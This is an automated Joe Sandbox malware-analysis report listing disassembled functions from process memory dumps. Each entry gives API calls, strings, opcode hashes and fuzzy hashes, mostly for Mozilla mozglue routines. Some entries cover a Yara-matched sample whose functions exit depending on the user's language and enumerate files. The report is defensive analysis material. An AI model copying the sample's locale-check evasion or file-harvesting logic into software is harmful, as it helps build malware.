Associated: 00000001.00000002.2409116843.000000006CB2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2409238614.000000006CB32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6caa0000_file.jbxd

Similarity

API ID: File$View$CloseHandle$CreateInfoSystemUnmap$Mapping
String ID:
API String ID: 1192971331-0
Opcode ID: b52aff13ea262dfd05f41e71ed3dc37bdc923a3947118e607446d00f25d7a823
Instruction ID: 7456d34f40e417d811d93189758edd70258f76d98cf0cdbae250eead7e3b3e45
Opcode Fuzzy Hash: b52aff13ea262dfd05f41e71ed3dc37bdc923a3947118e607446d00f25d7a823
Instruction Fuzzy Hash: 52313DB1A047448FDB00BF78D64926EBBF0FF85305F054A2DE98697211EF749488CB82

Function 6CAF9D00 Relevance: 13.7, APIs: 9, Instructions: 178timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,6CAF8273), ref: 6CAF9D65
free.MOZGLUE(6CAF8273,?), ref: 6CAF9D7C
free.MOZGLUE(?,?), ref: 6CAF9D92
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6CAF9E0F
free.MOZGLUE(6CAF946B,?,?), ref: 6CAF9E24
free.MOZGLUE(?,?,?), ref: 6CAF9E3A
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6CAF9EC8
free.MOZGLUE(6CAF946B,?,?,?), ref: 6CAF9EDF
free.MOZGLUE(?,?,?,?), ref: 6CAF9EF5

Memory Dump Source

Source File: 00000001.00000002.2408928004.000000006CAA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAA0000, based on PE: true

Associated: 00000001.00000002.2408902658.000000006CAA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2409039339.000000006CB1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2409116843.000000006CB2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2409238614.000000006CB32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6caa0000_file.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: 59a9ee1cf305c2376644601086311a7ef9663cfb7ad8d15cff9dab339d34b79b
Instruction ID: abd39499ecf34a4bf4e4ec2be857dd02595f9d64d0c27c782c1c1002feab8a4f
Opcode Fuzzy Hash: 59a9ee1cf305c2376644601086311a7ef9663cfb7ad8d15cff9dab339d34b79b
Instruction Fuzzy Hash: 72719070909B418BD712CF28C64055BF3F4FF99315B448619F89A5B701EB31E8CACB91

Function 6CAFDDC0 Relevance: 13.7, APIs: 9, Instructions: 152COMMON

Download Yara Rule

APIs

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE ref: 6CAFDDCF

Part of subcall function 6CADFA00: ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CADFA4B

Part of subcall function 6CAF90E0: free.MOZGLUE(?,00000000,?,?,6CAFDEDB), ref: 6CAF90FF
Part of subcall function 6CAF90E0: free.MOZGLUE(?,00000000,?,?,6CAFDEDB), ref: 6CAF9108

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CAFDE0D
free.MOZGLUE(00000000), ref: 6CAFDE41
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CAFDE5F
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CAFDEA3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CAFDEE9
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6CAEDEFD,?,6CAB4A68), ref: 6CAFDF32

Part of subcall function 6CAFDAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6CAFDB86
Part of subcall function 6CAFDAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6CAFDC0E

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6CAEDEFD,?,6CAB4A68), ref: 6CAFDF65
free.MOZGLUE(?), ref: 6CAFDF80

Part of subcall function 6CAC5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CAC5EDB
Part of subcall function 6CAC5E90: memset.VCRUNTIME140(6CB07765,000000E5,55CCCCCC), ref: 6CAC5F27
Part of subcall function 6CAC5E90: LeaveCriticalSection.KERNEL32(?), ref: 6CAC5FB2

Memory Dump Source

Source File: 00000001.00000002.2408928004.000000006CAA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAA0000, based on PE: true

Associated: 00000001.00000002.2408902658.000000006CAA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2409039339.000000006CB1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2409116843.000000006CB2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2409238614.000000006CB32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6caa0000_file.jbxd

Similarity

API ID: free$CriticalImpl@detail@mozilla@@MutexSection$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedEnterExclusiveLeaveLockProfileReleasememset
String ID:
API String ID: 112305417-0
Opcode ID: c8e75dc3360a9340fef5f105db342f195abc6c84075fab400aa0f89bb4e97ea6
Instruction ID: 32fc5f893e279dc4335e12fbb191b40f34f813cfb5b88f3d5fe38e27951bbb04
Opcode Fuzzy Hash: c8e75dc3360a9340fef5f105db342f195abc6c84075fab400aa0f89bb4e97ea6
Instruction Fuzzy Hash: 1851A672E016009BE7129F28C9806EFB376AF91308F99051CF52A53B00D731F99BCB92

Function 6CB05D10 Relevance: 13.6, APIs: 9, Instructions: 126COMMON

Download Yara Rule

APIs

?_Fiopen@std@@YAPAU_iobuf@@PB_WHH@Z.MSVCP140(?,00000001,00000040,?,00000000,?,6CB05C8C,?,6CADE829), ref: 6CB05D32
?getloc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QBE?AVlocale@2@XZ.MSVCP140(?,00000000,00000001,?,?,?,?,00000000,?,6CB05C8C,?,6CADE829), ref: 6CB05D62
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000,?,?,?,?,00000000,?,6CB05C8C,?,6CADE829), ref: 6CB05D6D
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,00000000,?,6CB05C8C,?,6CADE829), ref: 6CB05D84
?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ.MSVCP140(?,?,?,?,00000000,?,6CB05C8C,?,6CADE829), ref: 6CB05DA4
?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,?,?,?,?,00000000,?,6CB05C8C,?,6CADE829), ref: 6CB05DC9
std::_Facet_Register.LIBCPMT ref: 6CB05DDB
??1_Lockit@std@@QAE@XZ.MSVCP140(?,?,?,?,00000000,?,6CB05C8C,?,6CADE829), ref: 6CB05E00
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,00000000,?,6CB05C8C,?,6CADE829), ref: 6CB05E45

Memory Dump Source

Source File: 00000001.00000002.2408928004.000000006CAA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAA0000, based on PE: true

Associated: 00000001.00000002.2408902658.000000006CAA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2409039339.000000006CB1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2409116843.000000006CB2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2409238614.000000006CB32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6caa0000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?getloc@?$basic_streambuf@Bid@locale@std@@D@std@@@std@@Facet_Fiopen@std@@Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterU?$char_traits@U_iobuf@@V42@@Vfacet@locale@2@Vlocale@2@abortstd::_
String ID:
API String ID: 2325513730-0
Opcode ID: e43f3f8e08887b8ffded047a5f038c338dee2f2e92263fb67608db56866b73b1
Instruction ID: a5c51a698fa4fc70d14ab451541322235a820230d148e91cfa72174c96cb6763
Opcode Fuzzy Hash: e43f3f8e08887b8ffded047a5f038c338dee2f2e92263fb67608db56866b73b1
Instruction Fuzzy Hash: 92418F307002548FCB10DF65C898EAE7BBAFF89354F044169E50A97B91DF34E809CB65

Function 6CADCC60 Relevance: 13.6, APIs: 7, Strings: 2, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,00003000,00003000,00000004,?,?,?,6CAA31A7), ref: 6CADCDDD

Strings

: (malloc) Error in VirtualFree(), xrefs: 6CADCFA4, 6CADCFB8
<jemalloc>, xrefs: 6CADCF9F, 6CADCFB3

Memory Dump Source

Source File: 00000001.00000002.2408928004.000000006CAA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAA0000, based on PE: true

Associated: 00000001.00000002.2408902658.000000006CAA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2409039339.000000006CB1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2409116843.000000006CB2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2409238614.000000006CB32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6caa0000_file.jbxd

Similarity

API ID: AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 4275171209-2186867486
Opcode ID: e93e5f3891917c6d20f58cdc79c1df521b0d4e93454df5dfe644660e4f7466f3
Instruction ID: 8397d54c54e190251422d6625e199f2afdaa3b5c52f1dd59ca219b1b5f7087ff
Opcode Fuzzy Hash: e93e5f3891917c6d20f58cdc79c1df521b0d4e93454df5dfe644660e4f7466f3
Instruction Fuzzy Hash: 7631C271B403066BEF10AFA98C45BBE7B75BB4571CF654014F615ABA80DF74E8808BA2

Function 6CAAECD0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 143fileCOMMON

Download Yara Rule

APIs

Part of subcall function 6CAAF100: LoadLibraryW.KERNEL32(shell32,?,6CB1D020), ref: 6CAAF122
Part of subcall function 6CAAF100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6CAAF132

moz_xmalloc.MOZGLUE(00000012), ref: 6CAAED50
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CAAEDAC
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,\Mozilla\Firefox\SkeletonUILock-,00000020,?,00000000), ref: 6CAAEDCC
CreateFileW.KERNEL32 ref: 6CAAEE08
free.MOZGLUE(00000000), ref: 6CAAEE27
free.MOZGLUE(?,?,?,?,?,?,?,00000000,00000000,00000000), ref: 6CAAEE32

Part of subcall function 6CAAEB90: moz_xmalloc.MOZGLUE(00000104), ref: 6CAAEBB5
Part of subcall function 6CAAEB90: memset.VCRUNTIME140(00000000,00000000,00000104,?,?,6CADD7F3), ref: 6CAAEBC3
Part of subcall function 6CAAEB90: GetModuleFileNameW.KERNEL32(00000000,00000000,00000104,?,?,?,?,?,?,6CADD7F3), ref: 6CAAEBD6

Strings

\Mozilla\Firefox\SkeletonUILock-, xrefs: 6CAAEDC1

Memory Dump Source

Source File: 00000001.00000002.2408928004.000000006CAA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAA0000, based on PE: true

Associated: 00000001.00000002.2408902658.000000006CAA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2409039339.000000006CB1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2409116843.000000006CB2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2409238614.000000006CB32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6caa0000_file.jbxd

Similarity

API ID: Filefreemoz_xmallocwcslen$AddressCreateLibraryLoadModuleNameProcmemset
String ID: \Mozilla\Firefox\SkeletonUILock-
API String ID: 1980384892-344433685
Opcode ID: cea13fe4cf592ccdc2aef6cf7748d4ae94a86e1d04d80dde326be2aaaf75c33d
Instruction ID: 72688e6f164243d1c77f2ac390d3ba10988506233a986f40409af1f3eae8f305
Opcode Fuzzy Hash: cea13fe4cf592ccdc2aef6cf7748d4ae94a86e1d04d80dde326be2aaaf75c33d
Instruction Fuzzy Hash: 70510171D052449BDB10DFA8C9407EEB7B1AF59318F08882DE8557BB40E73469DACBA2

Function 6CB1A520 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117COMMON

Download Yara Rule

APIs

?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6CB1A565

Part of subcall function 6CB1A470: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CB1A4BE
Part of subcall function 6CB1A470: memcpy.VCRUNTIME140(?,?,00000000), ref: 6CB1A4D6

?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE ref: 6CB1A65B
?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6CB1A6B6

Strings

z, xrefs: 6CB1A6AE
0, xrefs: 6CB1A5FB

Memory Dump Source

Source File: 00000001.00000002.2408928004.000000006CAA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAA0000, based on PE: true

Associated: 00000001.00000002.2408902658.000000006CAA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2409039339.000000006CB1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2409116843.000000006CB2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2409238614.000000006CB32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6caa0000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@$Ascii@CreateDtoaExponentialHandleMode@12@Representation@SpecialValues@memcpystrlen
String ID: 0$z
API String ID: 310210123-2584888582
Opcode ID: b00e1d0906277f1bf1354d7c587edd17fb4338a24d06447850e7c13e64a8243c
Instruction ID: 617c8b67ac70128b56a6945a17932fb854187daa800c3acaac774407eaea7fc6
Opcode Fuzzy Hash: b00e1d0906277f1bf1354d7c587edd17fb4338a24d06447850e7c13e64a8243c
Instruction Fuzzy Hash: 284117719087459FC341DF28C480A9EBBE5BF89354F409A2EF49987650EB30E64DCB93

Function 6CAE9420 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 6CADAB89: EnterCriticalSection.KERNEL32(6CB2E370,?,?,?,6CAA34DE,6CB2F6CC,?,?,?,?,?,?,?,6CAA3284), ref: 6CADAB94
Part of subcall function 6CADAB89: LeaveCriticalSection.KERNEL32(6CB2E370,?,6CAA34DE,6CB2F6CC,?,?,?,?,?,?,?,6CAA3284,?,?,6CAC56F6), ref: 6CADABD1

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CAB4A68), ref: 6CAE945E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CAE9470
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CAE9482
__Init_thread_footer.LIBCMT ref: 6CAE949F

Strings

MOZ_BASE_PROFILER_LOGGING, xrefs: 6CAE947D
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6CAE946B
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6CAE9459

Memory Dump Source

Source File: 00000001.00000002.2408928004.000000006CAA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAA0000, based on PE: true

Associated: 00000001.00000002.2408902658.000000006CAA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2409039339.000000006CB1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2409116843.000000006CB2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2409238614.000000006CB32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6caa0000_file.jbxd

Similarity

API ID: getenv$CriticalSection$EnterInit_thread_footerLeave
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING
API String ID: 4042361484-1628757462
Opcode ID: 3f1812af4d9d387aa5949be642b56fcdaa276f0c6ac58f8ed789b548e7b3da23
Instruction ID: 3dc2b6f63c7986c78484dd20ab9222849dda37831a814ebbd5aa62456ca2e247
Opcode Fuzzy Hash: 3f1812af4d9d387aa5949be642b56fcdaa276f0c6ac58f8ed789b548e7b3da23
Instruction Fuzzy Hash: 19012874A0020187E7009B7CDA00AEA33B99B49339F080536DC1A87B51E679ECD5899B

Function 00B06770 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

GetUserDefaultLangID.KERNEL32 ref: 00B06774
ExitProcess.KERNEL32 ref: 00B067A5
ExitProcess.KERNEL32 ref: 00B067AF
ExitProcess.KERNEL32 ref: 00B067B9
ExitProcess.KERNEL32 ref: 00B067C3
ExitProcess.KERNEL32 ref: 00B067CD

Strings

*, xrefs: 00B0678C

Memory Dump Source

Source File: 00000001.00000002.2380969091.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000001.00000002.2380955110.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CBB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000D4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000ED1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FD6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381532579.0000000000FE6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381634174.000000000117B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381648855.000000000117C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_af0000_file.jbxd

Yara matches

Similarity

API ID: ExitProcess$DefaultLangUser
String ID: *
API String ID: 1494266314-163128923
Opcode ID: af39321ef50b2be7f2329ba22f7ac36a399cb9a0717abc79306f25bee92429f6
Instruction ID: 2668bd5943b2e824482fc4102b42a53d1905a030ca1942abe77f8058f96b66e5
Opcode Fuzzy Hash: af39321ef50b2be7f2329ba22f7ac36a399cb9a0717abc79306f25bee92429f6
Instruction Fuzzy Hash: 73F05E72A04309EFD3449FE8E94972C7B70FB04703F040199E649C6390DA704F519BE6

Function 00B04780 Relevance: 12.1, APIs: 7, Strings: 1, Instructions: 101stringCOMMON

Download Yara Rule

APIs

lstrcat.KERNEL32(?,0076E5E8), ref: 00B047DB

Part of subcall function 00B08DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00B08E0B

lstrcat.KERNEL32(?,00000000), ref: 00B04801
lstrcat.KERNEL32(?,?), ref: 00B04820
lstrcat.KERNEL32(?,?), ref: 00B04834
lstrcat.KERNEL32(?,0075A738), ref: 00B04847
lstrcat.KERNEL32(?,?), ref: 00B0485B
lstrcat.KERNEL32(?,0076D168), ref: 00B0486F

Part of subcall function 00B0A740: lstrcpy.KERNEL32(00B10E17,00000000), ref: 00B0A788

Part of subcall function 00B08D90: GetFileAttributesA.KERNEL32(00000000,?,00AF1B54,?,?,00B1564C,?,?,00B10E1F), ref: 00B08D9F

Part of subcall function 00B04570: GetProcessHeap.KERNEL32(00000000,0098967F), ref: 00B04580
Part of subcall function 00B04570: RtlAllocateHeap.NTDLL(00000000), ref: 00B04587
Part of subcall function 00B04570: wsprintfA.USER32 ref: 00B045A6
Part of subcall function 00B04570: FindFirstFileA.KERNEL32(?,?), ref: 00B045BD

Strings

v, xrefs: 00B047CD

Memory Dump Source

Source File: 00000001.00000002.2380969091.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000001.00000002.2380955110.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000B82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000BFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000C95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2380969091.0000000000CBB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000D4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000ED1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FA9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FD6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381306580.0000000000FE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381532579.0000000000FE6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381634174.000000000117B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2381648855.000000000117C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_af0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileHeap$AllocateAttributesFindFirstFolderPathProcesslstrcpywsprintf
String ID: v
API String ID: 2540262943-3277621306
Opcode ID: 0c7bf0395a42e5291a21df0f8047af46b8c994e249c28f06fd3b0d60c78fe7c8
Instruction ID: 4652cd1021b325bdec24d9c8b28e5ba5b777e8ea7555525d8ec96ba210edd8ea
Opcode Fuzzy Hash: 0c7bf0395a42e5291a21df0f8047af46b8c994e249c28f06fd3b0d60c78fe7c8
Instruction Fuzzy Hash: F23171B2A00308A7CB10FBB4DC85EE977BCAB58700F4045C9B399960C1EE74D7898BA5

Function 6CAF1D00 Relevance: 10.6, APIs: 7, Instructions: 115threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CAF1D0F
AcquireSRWLockExclusive.KERNEL32(?,?,6CAF1BE3,?,?,6CAF1D96,00000000), ref: 6CAF1D18
ReleaseSRWLockExclusive.KERNEL32(?,?,6CAF1BE3,?,?,6CAF1D96,00000000), ref: 6CAF1D4C
GetCurrentThreadId.KERNEL32 ref: 6CAF1DB7
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CAF1DC0
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CAF1DDA

Part of subcall function 6CAF1EF0: GetCurrentThreadId.KERNEL32 ref: 6CAF1F03
Part of subcall function 6CAF1EF0: AcquireSRWLockExclusive.KERNEL32(?,?,?,?,?,6CAF1DF2,00000000,00000000), ref: 6CAF1F0C
Part of subcall function 6CAF1EF0: ReleaseSRWLockExclusive.KERNEL32 ref: 6CAF1F20

moz_xmalloc.MOZGLUE(00000008,00000000,00000000), ref: 6CAF1DF4

Part of subcall function 6CABCA10: malloc.MOZGLUE(?), ref: 6CABCA26

Memory Dump Source

Source File: 00000001.00000002.2408928004.000000006CAA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAA0000, based on PE: true

Associated: 00000001.00000002.2408902658.000000006CAA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2409039339.000000006CB1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2409116843.000000006CB2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2409238614.000000006CB32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6caa0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$mallocmoz_xmalloc
String ID:
API String ID: 1880959753-0
Opcode ID: e962bc7370fc5304fb1812e6f3665c35231522f88f5259cca40d1dee0d5b54d4
Instruction ID: 596a5283e2fec9de6737f562bf12bd8a1139e09366d251bdd7543de55ee55c4c
Opcode Fuzzy Hash: e962bc7370fc5304fb1812e6f3665c35231522f88f5259cca40d1dee0d5b54d4
Instruction Fuzzy Hash: 3A418AB52007049FCB14DF28C588A66BBF9FF49318F10442DEA6A87B41DB35F858CBA1

Function 6CAE84E0 Relevance: 10.6, APIs: 7, Instructions: 79COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CAE84F3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CAE850A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CAE851E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CAE855B
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CAE856F
??1UniqueJSONStrings@baseprofiler@mozilla@@QAE@XZ.MOZGLUE(?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CAE85AC

Part of subcall function 6CAE7670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6CAE85B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CAE767F
